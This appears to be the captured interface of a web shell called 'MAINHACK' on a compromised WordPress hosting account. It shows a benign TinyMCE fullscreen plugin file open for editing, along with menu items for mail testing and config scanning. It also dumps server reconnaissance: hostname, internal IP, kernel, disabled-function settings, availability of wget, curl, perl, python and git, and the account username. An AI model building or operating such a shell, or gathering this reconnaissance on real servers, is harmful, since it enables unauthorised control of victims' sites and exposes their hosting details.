[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: plugin.js
/* global tinymce */ /** * WP Fullscreen (Distraction-Free Writing) TinyMCE plugin */ tinymce.PluginManager.add( 'wpfullscreen', function( editor ) { var settings = editor.settings; function fullscreenOn() { settings.wp_fullscreen = true; editor.dom.addClass( editor.getDoc().documentElement, 'wp-fullscreen' ); // Start auto-resizing editor.execCommand( 'wpAutoResizeOn' ); } function fullscreenOff() { settings.wp_fullscreen = false; editor.dom.removeClass( editor.getDoc().documentElement, 'wp-fullscreen' ); // Stop auto-resizing editor.execCommand( 'wpAutoResizeOff' ); } // For use from outside the editor. editor.addCommand( 'wpFullScreenOn', fullscreenOn ); editor.addCommand( 'wpFullScreenOff', fullscreenOff ); function getExtAPI() { return ( typeof wp !== 'undefined' && wp.editor && wp.editor.fullscreen ); } // Toggle DFW mode. For use from inside the editor. function toggleFullscreen() { var fullscreen = getExtAPI(); if ( fullscreen ) { if ( editor.getParam('wp_fullscreen') ) { fullscreen.off(); } else { fullscreen.on(); } } } editor.addCommand( 'wpFullScreen', toggleFullscreen ); editor.on( 'keydown', function( event ) { var fullscreen; // Turn fullscreen off when Esc is pressed. if ( event.keyCode === 27 && ( fullscreen = getExtAPI() ) && fullscreen.settings.visible ) { fullscreen.off(); } }); editor.on( 'init', function() { // Set the editor when initializing from whitin DFW if ( editor.getParam('wp_fullscreen') ) { fullscreenOn(); } }); // Register buttons editor.addButton( 'wp_fullscreen', { tooltip: 'Distraction-free writing mode', shortcut: 'Alt+Shift+W', onclick: toggleFullscreen, classes: 'wp-fullscreen btn widget' // This overwrites all classes on the container! }); editor.addMenuItem( 'wp_fullscreen', { text: 'Distraction-free writing mode', icon: 'wp_fullscreen', shortcut: 'Alt+Shift+W', context: 'view', onclick: toggleFullscreen }); });
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm010.cluster103.gra.hosting.ovh.net
Server IP: 10.103.20.10
PHP Version: 7.4.33
Server Software: Apache
System: Linux webm010.cluster103.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: cuisinesj
User ID (UID): 17129
Group ID (GID): 100
Script Owner UID: 17129
Current Dir Owner: 17129